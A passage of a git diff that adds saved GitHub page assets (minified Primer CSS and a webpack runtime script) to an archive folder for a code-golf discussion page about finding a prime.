AnimatedEllipsis-keyframes{0%{transform:translateX(-100%)}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--color-danger-fg)}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre,.markdown-body details{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:var(--color-border-default);border:0}.markdown-body blockquote{padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--color-fg-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{padding:0 .2em;font-size:inherit}.markdown-body h1{padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h2{padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:.875em}.markdown-body h6{font-size:.85em;color:var(--color-fg-muted)}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body ol[type=a]{list-style-type:lower-alpha}.markdown-body ol[type=i]{list-style-type:lower-roman}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;width:max-content;max-width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid var(--color-border-default)}.markdown-body table tr{background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--color-canvas-subtle)}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--color-border-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--color-fg-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-top::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto !important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;box-shadow:var(--color-shadow-medium),var(--color-btn-inset-shadow);transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:transform;transform:translateX(-1px)}@media(prefers-reduced-motion){.ToggleSwitch-knob{transition:none}}.ToggleSwitch-status{position:relative;font-size:14px;line-height:1.5;color:var(--color-fg-default);text-align:right}.ToggleSwitch--small .ToggleSwitch-status{font-size:12px}.ToggleSwitch--small .ToggleSwitch-track{width:48px;height:24px}.ToggleSwitch--disabled .ToggleSwitch-status{color:var(--color-fg-muted)}.ToggleSwitch-statusOn{height:0;visibility:hidden}.ToggleSwitch-statusOff{height:auto;visibility:visible}.ToggleSwitch--statusAtEnd{flex-direction:row-reverse}.ToggleSwitch--statusAtEnd .ToggleSwitch-status{text-align:left} + +/*# sourceMappingURL=primer-048cfb03804d.css.map*/ \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js new file mode 100644 index 0000000..3c9544b --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js @@ -0,0 +1,4 @@ +(()=>{var S=Object.defineProperty;var u=(g,b)=>S(g,"name",{value:b,configurable:!0});(()=>{"use strict";var g={},b={};function t(e){var o=b[e];if(o!==void 0)return o.exports;var _=b[e]={id:e,loaded:!1,exports:{}};return g[e].call(_.exports,_,_.exports,t),_.loaded=!0,_.exports}u(t,"__webpack_require__"),t.m=g,(()=>{var e=[];t.O=(o,_,a,n)=>{if(_){n=n||0;for(var s=e.length;s>0&&e[s-1][2]>n;s--)e[s]=e[s-1];e[s]=[_,a,n];return}for(var p=1/0,s=0;s=n)&&Object.keys(t.O).every(H=>t.O[H](_[i]))?_.splice(i--,1):(r=!1,n{var o=e&&e.__esModule?()=>e.default:()=>e;return t.d(o,{a:o}),o},(()=>{var e=Object.getPrototypeOf?_=>Object.getPrototypeOf(_):_=>_.__proto__,o;t.t=function(_,a){if(a&1&&(_=this(_)),a&8||typeof _=="object"&&_&&(a&4&&_.__esModule||a&16&&typeof _.then=="function"))return _;var n=Object.create(null);t.r(n);var s={};o=o||[null,e({}),e([]),e(e)];for(var p=a&2&&_;typeof p=="object"&&!~o.indexOf(p);p=e(p))Object.getOwnPropertyNames(p).forEach(r=>s[r]=()=>_[r]);return s.default=()=>_,t.d(n,s),n}})(),t.d=(e,o)=>{for(var _ in o)t.o(o,_)&&!t.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:o[_]})},t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce((o,_)=>(t.f[_](e,o),o),[])),t.u=e=>e==="vendors-node_modules_selector-observer_dist_index_esm_js"?""+e+"-8a8fb532f817.js":e==="vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"?""+e+"-c86dedecba6d.js":e==="vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"?""+e+"-3878570f122b.js":e==="app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"?""+e+"-b9402c4f55ed.js":e==="vendors-node_modules_lit-html_lit-html_js"?""+e+"-ba8ef7c9465c.js":e==="vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"?""+e+"-338b7b65f61e.js":e==="vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"?""+e+"-12cdb93781b2.js":e==="vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"?""+e+"-d2bd677ffadf.js":e==="app_assets_modules_github_behaviors_pjax_ts"?""+e+"-9f84f27e2e5c.js":e==="vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"?""+e+"-e5871d6341d9.js":e==="vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"?""+e+"-c50ba3159c37.js":e==="vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"?""+e+"-316d55757fd3.js":e==="vendors-node_modules_codemirror_lib_codemirror_js"?""+e+"-0e675a3cbbdb.js":e==="vendors-node_modules_three_build_three_module_js"?""+e+"-d26576a099b1.js":e==="vendors-node_modules_dompurify_dist_purify_js"?""+e+"-0677fca37991.js":"chunk-"+e+"-"+{"vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"ffef934f6d1e","vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js":"20ded1c3f9b2","_empty-file_js-app_assets_modules_github_tweetsodium_ts":"570800e4a58c","app_assets_modules_github_jump-to_ts":"9bb6962425bc","app_assets_modules_github_user-status-submit_ts":"b84397a4ac61","vendors-node_modules_github_blackbird-parser_dist_blackbird_js":"edcc67677b51","app_components_search_parsing_parsing_ts-_b3651":"aa493d973ae3","app_assets_modules_github_sortable-behavior_ts":"cd5461703766","app_components_accessibility_animated-image-element_ts":"94f17dc1685d","app_components_account_verifications_launch-code-element_ts":"d0fd2937b212","app_components_advisories_metric-selection-element_ts":"4daf4af581d1","app_components_advisories_severity-calculator-element_ts":"420add2d60b0","vendors-node_modules_delegated-events_dist_index_js-node_m